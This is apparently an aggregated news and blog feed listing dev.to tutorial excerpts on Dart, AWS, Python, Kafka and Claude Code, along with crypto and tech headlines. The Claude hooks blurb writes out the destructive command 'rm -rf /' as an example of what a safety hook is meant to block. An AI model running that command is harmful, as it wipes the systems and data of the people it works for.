    Today we'll be learning about extremely important collection types in Dart. In this lesson, we'll focus on List and Set - powerful tools for managing and manipulating multiple data items efficiently in your programs. A List is the most commonly used collection type in Dart. It's an ordered and allowing duplicates collection of data, similar to arrays in other programming languages. There are several ways to create a List, with these being the most common: Method 1: Using literals (Recommended) void main() { // Create a list of integers List numbers = [1, 2, 3, 4, 5]; // Create a list of strings List fruits = ['Apple', 'Banana', 'Orange']; // Create a list with mixed types (not recommended, specify types when possible) List mixed = [1, 'hello', true, 3.14…  ( 10 min )
    📆Byte-DatePicker: A Lightweight React Date Picker
    Lately, whenever I try to use a date picker in a project, I run into two main issues: The default browser feels outdated, inaccessible, and not intuitive enough for modern UIs. External UI libraries often come with bloated bundle sizes and tightly coupled components, making my app unnecessarily heavy. While working on a project at my company, I needed a simple, flexible, and lightweight date picker that could be styled easily — and nothing quite fit. So, I built Byte-DatePicker. ✨ Introducing Byte-DatePicker Byte-DatePicker is a reusable React component library tailored for date selection in forms and dashboards. Written in TypeScript, It allows full date selection (day, month, year) and ships with smooth animations, responsive layout, and minimal styling — making it easy to plug i…  ( 6 min )
    Title: The Mind-Bending Reality of the Self: How Our Brain Creates Our Identity
    Title: The Mind-Bending Reality of the Self: How Our Brain Creates Our Identity Have you ever wondered if the "you" you feel so certain about is just an illusion? In her groundbreaking book, "The Self Illusion: How the Brain Creates the Mind," author Annaka Harris argues that our brain's constant dialogue with the world creates a shifting process, not a fixed identity. This means that our choices, memories, and place in nature are all shaped by our brain's perception of the world around us. Harris's discovery challenges our traditional notions of self and identity, and forces us to rethink how we see ourselves in the world. She argues that our brain's default mode, which is responsible for our thoughts, emotions, and perceptions, is constantly in a state of flux. This means that our sens…  ( 6 min )
    How to Use NLP to Extract Business Insights from Chat Data
    The digital age has gifted us a new frontier of data: unstructured text. From customer support chats to online survey responses, this data holds a wealth of information. The challenge, however, is turning this raw text into actionable business insights. This is where Natural Language Processing (NLP) comes in. In this article, we’ll explore how to leverage NLP to extract meaningful information from unstructured data, using a real-world application as our guide: an AI-based mental health behaviour recognition project from conversations between a human and a chatbot. This approach can be applied to a variety of business use cases, from improving customer support to detecting early signs of mental distress. The Toolkit: A Primer on the Technologies NLTK & spaCy: These are fundamental librarie…  ( 7 min )
    Daily JavaScript Challenge #JS-241: Rotate Matrix by 90 Degrees Clockwise
    Daily JavaScript Challenge: Rotate Matrix by 90 Degrees Clockwise Hey fellow developers! 👋 Welcome to today's JavaScript coding challenge. Let's keep those programming skills sharp! Difficulty: Medium Topic: Array Manipulation Develop a function that takes a square matrix (two-dimensional array) of integers and rotates it 90 degrees clockwise. https://www.dpcdev.com/ Fork this challenge Write your solution Test it against the provided test cases Share your approach in the comments below! Check out the documentation about this topic here: https://leetcode.com/problems/rotate-image/ How did you approach this problem? Did you find any interesting edge cases? What was your biggest learning from this challenge? Let's learn together! Drop your thoughts and questions in the comments below. 👇 This is part of our Daily JavaScript Challenge series. Follow me for daily programming challenges and let's grow together! 🚀 javascript #programming #coding #dailycodingchallenge #webdev  ( 22 min )
  • Open

    Blockchain technology can help decentralize the US energy grid — VC
    Making the US energy grid more resistant to shocks and maximizing grid uptime is central to the Trump administration’s AI strategy.
    Tron network founder Justin Sun returns from space
    The Tron founder said it has been a long-time dream to travel to space and reflected on the fragility of the planet following his return.
    Iconic Satoshi Nakamoto statue recovered by Lugano municipality
    The iconic statue of pseudonymous Bitcoin creator Satoshi Nakamoto has become a textbook symbol of the global Bitcoin movement.
    Bitcoin dip making ‘perfect bottom,’ says analyst: Will BTC rally to $148K?
    BTC price is retesting a key support that previously triggered a 25% rally, potentially signaling a repeat move toward new all-time highs for Bitcoin.
    The token is dead, long live the token
    Crypto tokens have failed retail investors through insider concentration and poor design. Regulation and tokenized real-world assets offer hope for revival.
    Bitcoin hodlers 'bleed' as Binance daily inflows near 7K BTC
    Bitcoin exchange inflows have been increasing for over a month, and the latest BTC price drawdown has made nervous sellers double down.
    Citigroup, JP Morgan, Goldman Sachs lead TradFi's blockchain charge: Ripple
    TradFi giants made 345 blockchain investments between 2020–2024, with G-SIBs leading 100+ deals across tokenization, custody and payments.
    5 countries where crypto is (surprisingly) tax-free in 2025
    Looking to live tax-free with crypto in 2025? These five countries, including the Cayman Islands, UAE and Germany, still offer legal, zero-tax treatment for cryptocurrencies.
    Disappearing Satoshi statue in Lugano stolen, 0.1 BTC offered for its return
    The disappearing Satoshi statue, symbolizing Bitcoin’s anonymity, was stolen in Lugano. Organizers are offering 0.1 BTC to anyone who helps retrieve it.
    SharpLink buys another $54M in ETH, now holds $1.65B worth of Ether
    SharpLink spent $108.57 million in USDC over 48 hours to acquire 30,755 ETH, raising its total Ether holdings to 480,031 ETH worth $1.65 billion.
    Bearish Arthur Hayes says Bitcoin could retrace to $100K on macro headwinds
    Bitcoin and Ether could fall back toward the $100,000 and $3,000 level amid concerns of more tariffs, a sluggish credit market and slowed job creation, Arthur Hayes argues.
    XRP eyes 20% surge in August, crypto returns to US: Hodler’s Digest, July 27 – Aug. 2
    XRP may be gearing up for a short-term rebound, crypto companies are beginning to return to the United States, and other news.
    Crypto victim loses $908K in sophisticated phishing attack
    A victim lost $908,551 in a crypto phishing scam 15 months after signing a malicious approval transaction. The scammer waited until two large deposits were made before striking.
  • Open

    Why tomorrow’s best devs won’t just code — they’ll curate, coordinate and command AI
    AI coding requires a serious structural change. Where does that leave entry-level developers and the software industry as a whole?  ( 7 min )
    Why the AI era is forcing a redesign of the entire compute backbone
    GUEST: The past few decades have seen almost unimaginable advances in compute performance and efficiency, enabled by Moore’s Law and underpinned by scale-out commodity hardware and loosely coupled software. This architecture has delivered online services to billions globally and put virtually all of human knowledge at our fingertips. But the next computing revolution will demand much […]  ( 9 min )
  • Open

    Higher Bitcoin ETF Options Limits May Cut Volatility, but Boost Spot Demand: NYDIG
    Bitcoin’s volatility has been declining but remains higher than traditional assets, making it attractive for income generation but risky for institutions seeking stability.  ( 26 min )
    Base Takes Solana's Crown in Token Creation as Coinbase's 'SocialFi' Ignites Zora Boom
    Coinbase’s Base App rebrand fuels surge in creator coins as Zora transforms content into tradable tokens.  ( 28 min )
    Mag 7 Plans to 'FOMO' Into $650B Tech Investment Despite Trump's U.S. Manufacturing Push
    The Mag 7 firms are expected to spend $650 billion in capex and R&D this year, an amount bigger than the U.K. government’s annual public investments.  ( 28 min )
    Ether Bullish Divergence? ETH's 10% Weekly Price Loss Clashes With $300M Whale Buy
    Ether's price fell nearly 10% this week, breaking a five-week winning streak amid broader market jitters.  ( 27 min )
    Ripple: Banks Have Invested Over $100 Billion in Blockchain Infrastructure Since 2020
    A new report by Ripple and CB Insights reveals how banks are reshaping financial markets through digital asset infrastructure, tokenization and crypto partnerships.  ( 29 min )
    Where is Satoshi Nakamoto? Statue Honouring the Bitcoin Creator Gets Stolen in Lugano
    The layers of disappearing stripes were only empty ground where the illusion of Satoshi, the pseudonymous creator of Bitcoin, fading into code stood since late 2024.  ( 27 min )
    Dogecoin Dragged Lower by Outflows With Technicals Flagging Bearish Continuation
    The Federal Reserve held rates steady this week, opting to monitor trade data, which has reduced market odds of a September rate cut and weighed heavily on high-beta assets.  ( 27 min )
    UK Regulator to Allow Retail Investors Access to Crypto ETNs in October
    "cETNs" must be listed on FCA-approved UK-based exchanges and adhere to financial promotion and Consumer Duty rules.  ( 25 min )
    Trump Media Confirms $2B Bitcoin Treasury and $300M Options Strategy in Q2 2025 Earnings Report
    In its Q2 2025 earnings release, DJT said it had acquired $2B billionin bitcoin and related securities, and allocated $300 million to an options-based BTC strategy.  ( 28 min )
    What Next For XRP as $2.75 Level Holds After Sharp Decline From $3
    No content preview  ( 28 min )
  • Open

    Tesla Signs Billion Dollars Battery Deal With LG Energy Solution
    Electric vehicle (EV) giant Tesla has reportedly signed a US$4.3 billion (approximately RM20.21 billion) deal with LG Energy Solution Ltd for the supply of lithium iron phosphate (LFP) batteries. The agreement marks a strategic move by Tesla to reduce its reliance on China’s CATL, currently the world’s largest battery manufacturer. Under the terms of the […] The post Tesla Signs Billion Dollars Battery Deal With LG Energy Solution appeared first on Lowyat.NET.  ( 34 min )
    OpenAI May Introduce Cheaper “ChatGPT Go” Plan
    OpenAI is reportedly developing a more affordable subscription tier for ChatGPT, potentially called ChatGPT Go. This plan could appeal to users with lighter usage needs, supposedly providing them with only the essential features from the chatbot. At present, ChatGPT is available via a free plan and two paid tiers: Plus at US$20 (~RM85) per month […] The post OpenAI May Introduce Cheaper “ChatGPT Go” Plan appeared first on Lowyat.NET.  ( 33 min )
    Esports Hotel Suffer Theft From Guests; Ryzen 9800X3D, GeForce RTX 5070 Stolen From PCs
    Picture this: you run an Esports hotel in China, and your rooms are decked with high-end gaming PCs, equipped with Ryzen 7 9800X3D CPUs and NVIDIA GeForce RTX 5070 GPUs. This is what one hotel in China offered its guests, but sadly, some of those said guests took it a step further and helped themselves […] The post Esports Hotel Suffer Theft From Guests; Ryzen 9800X3D, GeForce RTX 5070 Stolen From PCs appeared first on Lowyat.NET.  ( 34 min )
    Reddit Wants To Be A Go-To Search Engine
    Popular forum and social media platform Reddit announced Reddit Answers late last year. In case you missed it, it’s the AI-powered search tool on the platform that capitalises on the fact that many people put the platform’s name at the end of their internet searches. CEO Steve Huffman said during its earnings call that the […] The post Reddit Wants To Be A Go-To Search Engine appeared first on Lowyat.NET.  ( 34 min )
    Samsung Galaxy Tab S11 Series Storage And Colour Options Leaked
    Samsung is gearing up to launch the Galaxy Tab S11 series soon. As always, rumours and leaks are bound to circulate. This time, leakster Arsene Lupin has taken to X to share the colour options and storage configurations of the devices. Apparently, the company’s premium tablet lineup will feature two models, but unlike last year, […] The post Samsung Galaxy Tab S11 Series Storage And Colour Options Leaked appeared first on Lowyat.NET.  ( 34 min )

  • Open

    Modular Snip Recorder: A Data Collection Tool for Behavior Cloning (2/2)
    📊 Part 2: After building the data collection tool, I had my neatly packed .npz and .mp4 files. But then came the real question: "Now that I’ve collected the data, how do I make sense of it?" So I set out to build a set of tools that would help me not just review the data — but actually understand it. What came out of that is something I’m really proud of. This tool is all about feeling the data, one sample at a time. The desktop GUI is built with Tkinter and designed to make browsing, filtering, and understanding each entry as intuitive as flipping through photos. Use Prev/Next buttons (or arrow keys) to flip through samples. Apply filters for phases and keys — e.g., only show 'press' events where 'd' was active. It even includes broken or empty samples if you want — great for debugging.…  ( 9 min )
    AWS Cloud Path Week 13: AWS Networking Workshop Part 3 - Security Controls Deep Dive
    Welcome back to our AWS Cloud Path journey! In Week 13, we're diving deep into Part 3 of the AWS Networking Workshop, focusing on advanced security controls that form the foundation of secure cloud networking. Missed the session? Catch up here: Before jumping into this session, ensure you have: An AWS account with appropriate permissions Basic understanding of VPCs, subnets, and security groups Completion of the previous networking workshop sessions (Parts 1 & 2) The AWS CloudFormation template deployed from the official workshop What We're Covering Today This session focuses on three critical foundational security topics: Network Access Control Lists (NACLs) - Subnet-level security Security Groups - Instance-level security VPC Endpoint Policies - Controlling access to AWS …  ( 10 min )
    Cómo configurar un entorno profesional para desarrollo en Python con VS Code
    Si estás empezando un nuevo proyecto en Python o quieres profesionalizar tu flujo de trabajo como desarrollador, configurar correctamente tu entorno de desarrollo es clave. En esta guía te muestro cómo preparar Visual Studio Code (VS Code) para trabajar eficientemente con Python, incluyendo herramientas de linting, formateo automático, pruebas y control de versiones. VS Code es ligero, gratuito, altamente configurable y tiene una comunidad enorme. Con unas pocas extensiones y configuraciones, puedes convertirlo en un entorno potente y robusto para desarrollar en Python. Asegúrate de tener instalados los siguientes componentes: ✅ Python (3.9 o superior) ✅ VS Code ✅ Git (para control de versiones) Desde la vista de extensiones (Ctrl+Shift+X), busca e instala: Python – soporte para ejecución…  ( 8 min )
    How to Use YINI Config Files in a Node.js App (with Real Examples)
    🙋‍♂️ Why I Wrote This You know that moment when you're knee-deep in a side project and you just want a clean config file? Something easier on the eyes than JSON, but more structured than old-school INI? That was me — and that's how YINI started. Not to reinvent configuration formats, but just to make one that I wouldn't dread editing. In this post, I'll walk you through how to actually use YINI in a Node.js app, with real examples pulled straight from my own parser tests and tooling setup. It's simple, flexible, and (hopefully) a bit fun. First, install the YINI parser from npm: npm install yini-parser Let's start with a simple YINI config: ^ App title = 'My App Title' items = 25 isDarkTheme = true Here's how you load it in your app: import YINI from 'yini-parser'; const config = YINI…  ( 7 min )
    Wan 2.2 & FLUX Krea Full Tutorial — Automated Install — Ready Perfect Presets — SwarmUI with ComfyUI
    🚀 Wan 2.2 & FLUX Krea Full Tutorial — Automated Install & Perfect Presets This repository contains the full guide and resources for installing Wan 2.2 and FLUX Krea with a 1-click automated installer. Utilize our pre-made, optimized presets—developed after hundreds of parameter tests—to generate the highest quality videos and images. This tutorial leverages SwarmUI with a ComfyUI backend to make advanced AI content creation accessible, even on lower-end hardware. Click the thumbnail below to watch the complete step-by-step video guide on YouTube. Direct Link: https://youtu.be/8MvvuX4YPeo Automated 1-Click Installation: Get Wan 2.2, FLUX Krea, SwarmUI, and ComfyUI running with minimal effort. Optimized Presets: Access a pack of ready-to-use presets for generating top-tier videos a…  ( 8 min )
    QWIKTHREADS FOR REDIS WINNING HACKATHON
    This is a submission for the Redis AI Challenge: Beyond the Cache. I built QwikThreads as a solution for me and my classmates. We have been learning with AI for some time now, and whenever we wanted to go back to a particular chat, the history was too long to track and was a headache. So, I built this to help name the title of the LLM chat history and then add the chat link. This way, whenever I want to revisit a specific topic, I can query it, and it fetches it faster. I am happy to be the first user of this tool along with some friends because it will save me more time than ever. I can now fly through chats. https://youtu.be/pJ0Ff3daGJ8 I was looking for a way to build a faster, blazing search that is accurate and reactive like Algolia, then I found out Redis has JSON datatypes, so I just modeled my data and used it as my primary database. Guess what, it worked pretty fast. For into I am Fawuzan Ibrahim , A CS student i love to build useful stuff with cool tools like redis here is my handle https://dev.to/ibrahimpima  ( 5 min )
    Understanding @preconcurrency in Swift
    What is @preconcurrency? @preconcurrency is a Swift attribute that was introduced in Swift 5.5 alongside the major concurrency overhaul that brought us async/await, actors, and structured concurrency. It was added specifically to solve the chicken-and-egg problem of adopting modern concurrency: how do you use Swift's new concurrent features when most of your existing code and dependencies weren't designed with these strict safety rules in mind? The attribute serves as a compatibility bridge, allowing developers to gradually migrate to Swift's concurrency model without having to rewrite everything at once or deal with an overwhelming number of compiler warnings. When Swift 5.5 introduced structured concurrency, it came with strict rules about what types can safely cross concurrency bounda…  ( 7 min )
    From Silence to Sound: Fixing Audio on Samsung Galaxy Book running Ubuntu Linux
    Over four days. That’s how long I spent trying to get the internal speakers on my Samsung Galaxy Book2 (NT950XDA) to produce a single sound after switching from Windows to Ubuntu. And I wasn’t alone. Right out of the box, Ubuntu (even the latest 24.04) doesn’t play well with the Realtek ALC298 audio codec on many Samsung Galaxy Book devices. Headphones might work, but internal speakers remain silent due to uninitialized smart speaker amps. I found myself crawling through obscure forum posts, GitHub issues, and deep dmesg logs. I came across broken workarounds, kernel parameters, even dead-end firmware downloads. Nothing stuck—until I discovered a promising thread from the Manjaro community and a script from a developer named @joshuagrisham. The answer turned out to be hda-verb, a tool for …  ( 6 min )
    How to Launch a Scalable WordPress Site on AWS Lightsail in Under 10 Minutes
    In today's fast-moving digital landscape, decision-makers are always looking for cost-effective, scalable, and secure ways to bring ideas to life—fast. Whether you’re a startup CEO launching your MVP, a CTO experimenting with content distribution, or a product owner needing a proof-of-concept blog or CMS, Amazon Lightsail offers an elegant, low-cost entry into cloud infrastructure without the usual DevOps overhead. In this tutorial, I’ll show you how to deploy a fully functional WordPress website using AWS Lightsail in minutes—with zero prior cloud expertise required. Why Use AWS Lightsail? a. Predictable pricing (starting from $3.50/month) b. Pre-configured apps (e.g., WordPress, LAMP, Node.js) c. One-click deployment d. Easy scaling to EC2 if needed e. Backed by AWS reliability & performance Step-by-Step: Launch WordPress on Lightsail a. Sign in to the AWS Console b. Search for "Lightsail" c. Click Create Instance d. Choose Platform: Linux/Unix e. Select App: WordPress f. Choose an instance plan{e.g, $3.50/month} g. Name your instance h. Click Create Instance *After 2-3 minutes, your instance will be ready *Copy the Public IP address and paste it in a browser *You will see your WordPress site live h. Login using the default username/password provided in the instance settings. *How to Login to WordPress: http://34.201.101.22//wp-admin It will ask you for: a. username b. password *How to Find the Default Password in AWS LightSail: Go to AWS console Click on your WordPress instance Click the Connect using SSH button (this opens a terminal in your browser). In the terminal, type the following command and press Enter: bash *Use That to Log In: *Conclusion: Launching a WordPress site on AWS Lightsail is more than just a technical exercise—it’s a strategic move. It demonstrates how cloud simplicity and affordability can empower small teams, early-stage startups, and even enterprise departments to move fast, test ideas, and deliver value without unnecessary overhead.  ( 6 min )
    How I Built a Chrome Extension That Connects Securely to a Flask Backend (with Google OAuth + Cloud Run)
    Over the past few months, I worked on building a Chrome Extension that helps fetch real-time product data from our backend. This tool started as an internal solution, but I quickly realized the architecture, patterns, and decisions behind it could be useful for many other developers building internal tools, automation layers, or data-driven UI for the web. In this post, I’ll walk through: How I authenticated users using chrome.identity.launchWebAuthFlow How I protected a Flask backend with Google OAuth + Identity-Aware Proxy (IAP) How I structured the extension to display live charts and pricing data What I learned while connecting frontend → backend → BigQuery Whether you’re building internal tools or want to understand how secure browser extensions work with Cloud Run, this post will giv…  ( 7 min )
    AWS Cloud Path Week 11: AWS Networking Workshop Part 1 - Building Secure VPC Infrastructure
    Welcome to Week 11 of the AWS Cloud Path series! In this hands-on workshop, we dive deep into AWS networking fundamentals by working through a comprehensive AWS Networking Workshop. This tutorial covers the full spectrum of AWS networking, from basic VPC and subnet configurations to advanced setups with security groups, route tables, and NAT gateways. Prerequisites Before diving into this workshop, you should have: An active AWS account with appropriate permissions Basic understanding of networking concepts (IP addresses, CIDR blocks, subnets) Familiarity with AWS Console navigation Understanding that resources created in this workshop will incur costs (~$7 USD in us-east-1) ⚠️ Cost Warning: The resources created in this workshop will cost approximately $7 in the US East 1 r…  ( 10 min )
    String Methods and Properties
    📚 Mastering JavaScript String Methods and Properties Strings are one of the most fundamental data types in JavaScript, and mastering their methods can significantly improve your code quality, readability, and performance. In this guide, we'll go through every essential string method and property you need to know in modern JavaScript. You'll learn what each method does, how to use it, and whether it's useful in contexts beyond strings — like arrays, objects, or regular expressions. ✅ Make your code more expressive and clean 🛠️ Solve common text manipulation problems 💡 Better understand JavaScript's built-in functions 🧩 Work more easily with arrays, inputs, and file data 📋 All String Methods and Properties in One Place 🔤 Method/Property 📌 What It Does 💻 Usage…  ( 7 min )
    Revolutionary BCI Advances: Lab-Grown Neurons Restore Motor Control in Paralysis
    "Discover how cutting-edge brain-computer interfaces are enabling paralyzed patients to regain motor control and independence." Recent advancements at Johns Hopkins University have ushered in a new era of brain-computer interface (BCI) technology, offering significant hope for individuals living with paralysis. In a groundbreaking study, researchers have demonstrated the ability of paralyzed patients to control robotic arms with exceptional precision using only their thoughts. This development not only marks a pivotal achievement in neuroscience and robotics but also holds the potential to restore a sense of independence and functionality to those who have suffered spinal cord injuries. At the core of this innovation is a sophisticated system that utilizes a network of ultra-thin electrode…  ( 7 min )
    AWS Cloud Path Week 10: Important Things to Know about Networking in AWS
    Missed the session? Catch up here: Introduction Welcome to Week 10 of the AWS Cloud Path! This week, we're diving deep into AWS networking fundamentals - one of the most critical aspects of cloud architecture that every AWS practitioner must master. Whether you're just starting your cloud journey or looking to strengthen your networking foundation, this guide will walk you through the essential concepts, best practices, and practical tips you need to know. Before diving into AWS networking, you should have: Basic understanding of AWS console navigation Familiarity with fundamental networking concepts (IP addresses, subnets, routing) An active AWS account for hands-on practice Basic knowledge of AWS regions and availability zones Before we can discuss AWS networking, it's cru…  ( 11 min )
    测试文章2Hashnode专属
    测试文章2Hashnode专属这篇文章将只发布到Hashnode平台## Hashnode特色- 支持丰富的Markdown格式- 面向技术博主- 良好的SEO优化### 代码高亮 pythondef hello_hashnode(): print('Hello Hashnode!') 专为Hashnode社区定制的内容  ( 5 min )
    Access and Refresh Tokens in Token-Based Authentication
    🔑 Token-based authentication has become the standard for modern web applications and APIs. If you've ever wondered why we need both access tokens and refresh tokens, or how they work together to create secure, scalable authentication systems, this article will break it down for you. Token-based authentication is a stateless approach to user authentication where the server generates a cryptographically signed token after successful login. This token contains encoded user information and is sent with every subsequent request to prove the user's identity. Traditional session-based authentication relies on server-side storage: 👤 User logs in → 🖥️ Server creates a session → 🍪 Session ID stored in cookie 📨 Each request includes the session ID → 🔍 Server looks up session data 💾 Requires se…  ( 9 min )
    Multi-Agent Orchestration: Running 10+ Claude Instances in Parallel (Part 3)
    Last Tuesday at 3 AM, I watched 12 Claude agents rebuild my entire frontend while I slept. One agent refactored components, another wrote tests, a third updated documentation, and a fourth optimized performance. By morning, I had a pull request with 10,000+ lines of perfectly coordinated changes. This isn't science fiction. This is multi-agent orchestration with Claude Code, and it's changing how we build software at scale. In Parts 1 and 2, we explored Claude's capabilities and hook system. Now, let's tackle the ultimate productivity multiplier: running multiple Claude instances in parallel. But first, a warning: This is where things get complex. Multiple agents mean: Resource contention File conflicts Coordination challenges Observability nightmares Get it wrong, and you'll have chaos. G…  ( 12 min )
    Mastering Claude Hooks: Building Observable AI Systems (Part 2)
    Picture this: It's 6 AM, you're deep in flow with Claude Code, and suddenly your AI assistant decides to be helpful by running rm -rf / on your production server. Sound terrifying? This exact scenario is what Claude hooks were designed to prevent. In Part 1, we explored how Claude Code is revolutionizing software development. Now, let's dive into the power tool that transforms Claude from a coding assistant into a proactive development partner: Hooks. Hooks are event-driven scripts that fire at specific points in Claude's lifecycle. Think of them as middleware for your AI assistant - intercepting, monitoring, and enhancing every interaction. Five hook events give you complete control: PreToolUse - Your safety guardian PostToolUse - The observer Notification - Interactive moments Stop - Ses…  ( 10 min )
    Oh, I have BIG news – Guess what I got yesterday? 🏆✨
    Okay, technically, I’ve known this was coming for a while, and honestly, I’ve felt ready even longer than that. Yes, I celebrated with a gift Leonardo subscription to myself. (I’ll be way more excited about it once those 429 errors slow down enough for me to actually play with it again.) Seriously — if you’re even considering Leonardo: it’s exploding right now, but if you’re like me (dev brain: ‘ooh, code banners!’), know that Leonardo is pure artist. Artists and devs? Different planets, sometimes. 🎨 The first time I tossed it a dev prompt: “I need a banner image representing a group of diverse engineers upgrading Java with Copilot.” I expected... I dunno, coffee? Maybe a way-too-big wrench? Instead: FOUR wildly different, amazing steampunk apocalypse scenes with a diverse squad running …  ( 11 min )
    Export AWS Untagged Resources to CSV for Analysis and Reporting
    Managing AWS resources without proper tagging can quickly become a nightmare for cost allocation, compliance, and governance. This Python script scans all AWS regions and exports untagged resources to a structured CSV file for easy analysis and reporting. While console output is useful for quick checks, CSV export provides: Structured data for spreadsheet analysis Audit trails with timestamped files Reporting capabilities for management Integration with other tools and systems Historical tracking of untagged resources over time This script builds on basic resource scanning by adding structured data export with proper ARN construction for each resource type. #!/usr/bin/env python3 import boto3 import csv import os from datetime import datetime from concurrent.futures import ThreadPoolExecut…  ( 7 min )
    Deep Dive into Mastering EBS Multi-Attach for Real-Time Applications.
    🧭 Introduction to Amazon EBS Volume Multi-Attach and Snapshots 💡 What is Amazon EBS? Amazon Elastic Block Store (EBS) is a scalable, high-performance block storage service designed for use with Amazon EC2 (Elastic Compute Cloud). EBS volumes behave like raw, unformatted block devices that can be mounted and used just like physical hard drives. EBS Volume Multi-Attach 📌 What is EBS Multi-Attach? EBS Multi-Attach is a feature of Amazon EBS io1 and io2 volumes that allows a single volume to be attached to multiple EC2 instances simultaneously within the same Availability Zone. Unlike standard EBS volumes (which are normally attached to just one instance at a time), Multi-Attach enables concurrent read and write operations from multiple EC2 instances. ⚠️ Important Advisory: EBS Multi-Attach…  ( 8 min )
    Protect Your Azure Storage with Enterprise-Grade Access Control Using Azure Active Directory (Azure AD).
    Introduction. A lot of people start with storage account keys or SAS tokens to share files in Azure, but those methods can be tricky to manage securely, especially as your team or workload grows. What if you could tie storage access directly to your Azure AD user account, just like you do with other Microsoft services? Well, you can and that’s exactly what this mini lab is about. First, you will have to Sign in to your Active Microsoft Azure Account on: https://portal.azure.com/ Step 1: Assign Yourself a Role. To get started, follow these steps Assign Yourself a Role A. On your Azure Portal home page, on the search bar, search for Storage Accounts and click on it. B. Select the storage account (storageacct1demo1) you created previously while setting up your environment for this exercise.…  ( 7 min )
    Find Untagged AWS Resources Across All Regions with Python
    Resource tagging is crucial for AWS cost management, security, and governance. Untagged resources can lead to unexpected costs and make it difficult to track resource ownership. Here's a Python script that scans all AWS regions to find untagged resources. AWS resources without proper tags create several issues: Cost tracking: Can't allocate costs to projects or teams Security: Difficult to identify resource owners Compliance: Many organizations require mandatory tags Cleanup: Hard to identify unused resources This Python script uses boto3 and concurrent processing to efficiently scan all AWS regions for untagged resources. #!/usr/bin/env python3 import boto3 from concurrent.futures import ThreadPoolExecutor, as_completed def get_untagged_resources_in_region(region): untagged = [] …  ( 7 min )
    🚀 Spring Boot + Kafka vs RabbitMQ: A Deep Dive into Event-Driven Microservices
    In the world of scalable microservices, messaging systems are crucial for decoupling services, improving resilience, and handling asynchronous workloads. Two popular tools that integrate seamlessly with Spring Boot are: Apache Kafka Let’s explore how they work, their differences, and how you can integrate both with Spring Boot. 📌 What is Apache Kafka? Event sourcing Kafka works on a publish-subscribe model with topics. 📌 What is RabbitMQ? 🔧 Integrating Kafka with Spring Boot Add Kafka dependencies Kafka Configuration # application.yml spring: kafka: bootstrap-servers: localhost:9092 consumer: group-id: my-group auto-offset-reset: earliest producer: key-serializer: org.apache.kafka.common.serialization.StringSerializer value-serializer: org.apache.kafka.common.serialization.StringSerializer Kafka Producer public void send(String message) { Kafka Consumer @Component 🐇 Integrating RabbitMQ with Spring Boot Add RabbitMQ dependency org.springframework.boot spring-boot-starter-amqp RabbitMQ Configuration # application.yml spring: rabbitmq: host: localhost port: 5672 RabbitMQ Sender public void send(String message) { RabbitMQ Listener @Component 🧪 When to Use What? Large-scale stream processing Event sourcing Analytics pipelines Use RabbitMQ for: Task-based workloads Retry mechanisms Complex routing logic (fanout, topic, etc.) 🧠 Final Thoughts Both Kafka and RabbitMQ are powerful tools, and Spring Boot provides first-class support for both. The choice depends on your use case — think throughput, message volume, and required guarantees.  ( 6 min )
    OpenAI's ChatGPT Reverses Course on Google Indexing Amid Privacy Concerns
    OpenAI's decision to halt Google indexing for ChatGPT highlights the critical balance between user privacy and AI innovation. OpenAI has recently made a significant change to its ChatGPT platform by discontinuing the option for users to have their chats indexed by Google and other search engines. This decision comes in response to user backlash concerning privacy and data security, raising important questions about the implications of AI interactions in the digital landscape. Initially, OpenAI introduced the indexing option to enhance the visibility of user interactions with ChatGPT, allowing users to share insights or information gleaned from their conversations. However, this feature quickly became a point of contention. Users expressed concerns that their private discussions could be in…  ( 7 min )
    🚀 Building the Cultural Feed for RecomendeMe: Where Every Cultural Recommendation Shines
    At RecomendeMe, we believe a single recommendation can change your day — or even how you see the world. This idea inspired the creation of our Cultural Feed, a new way to showcase recommendations for movies, books, music, podcasts, events, or any cultural expression that makes sense for each person. When I first designed RecomendeMe, I noticed that most recommendation platforms treat content as generic — buried in endless lists or algorithmic carousels. I wanted the opposite: every cultural recommendation should stand out like a magazine cover, not get lost in the noise. The Cultural Feed is the dynamic heart of RecomendeMe. Each recommendation has its own space, like a feature cover. The design highlights cover images, short synopses, and direct links to streaming platforms, bookstores, or playlists. The feed is personalized based on each user’s tastes and interactions — the more you like, recommend, and explore, the more relevant your feed becomes. From a technical perspective: Backend: We use PHP and MySQL to manage tables for recommendations, users, likes, and comments. Frontend: We built the feed with HTML, Tailwind CSS, and JavaScript to deliver a fast, responsive experience on both desktop and mobile. Each recommendation is fetched dynamically based on interest filters (e.g., genre, preferred platform, interaction history). Unlike generic feeds, here every item is treated as a highlight. When a user shares a movie, book, or album, it doesn’t disappear into the void — it gets real visibility, and can even become a trend within the community. If you’d like to learn more, share thoughts, or even contribute: let’s connect! 🌐 RecomendeMe — where every recommendation counts.  ( 6 min )
    Dev Diary #2: Cloud Security plugin for JetBrains IDE
    Almost a year passed before I began developing the plugin to improve the security of Infrastructure as Code files. Many rules were implemented, especially for Docker and Dockerfiles, and many lessons were learned. This week, I found new energy to begin delivering the next milestone in the plugin’s lifecycle. I started implementing Kubernetes rules to align with the NSA Kubernetes Hardening Guide. I have always postponed implementing rules to analyze YAML files because it was struggling boring. There wasn’t an API to implement it easily – just brutal PSI analyze. I thought so, but then I found useful classes and methods in the YAML plugin and wrote a simple YAML-path engine to find elements in the text more comfortable. This approach helps me rewrite some smell parts in Docker Compose analy…  ( 7 min )
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    Best Lightweight Docusaurus Alternative? I Think It’s "docmd" - A Refreshingly Minimal Docs Generator Brian Sprout ・ Aug 1 #documentation #javascript #webdev #productivity  ( 5 min )
    Navigating the AI Revolution: McKinsey's Existential Challenge in Consulting
    As AI transforms consulting, firms must adapt their strategies to maintain relevance and deliver value in a tech-driven landscape. The rise of artificial intelligence (AI) is reshaping industries across the globe, and consulting firms are no exception. A recent article from The Wall Street Journal highlights the existential challenges that major consulting firms, particularly McKinsey & Company, face as AI technology becomes increasingly capable of performing tasks traditionally reserved for human consultants. This shift raises critical questions about the future of consulting as a profession and the strategies firms must adopt to remain relevant in an evolving landscape. AI technologies, including machine learning and natural language processing, are now able to analyze vast datasets, gen…  ( 7 min )
    Why a Young AI Researcher Rejected a $1 Billion Offer from Meta's Zuckerberg
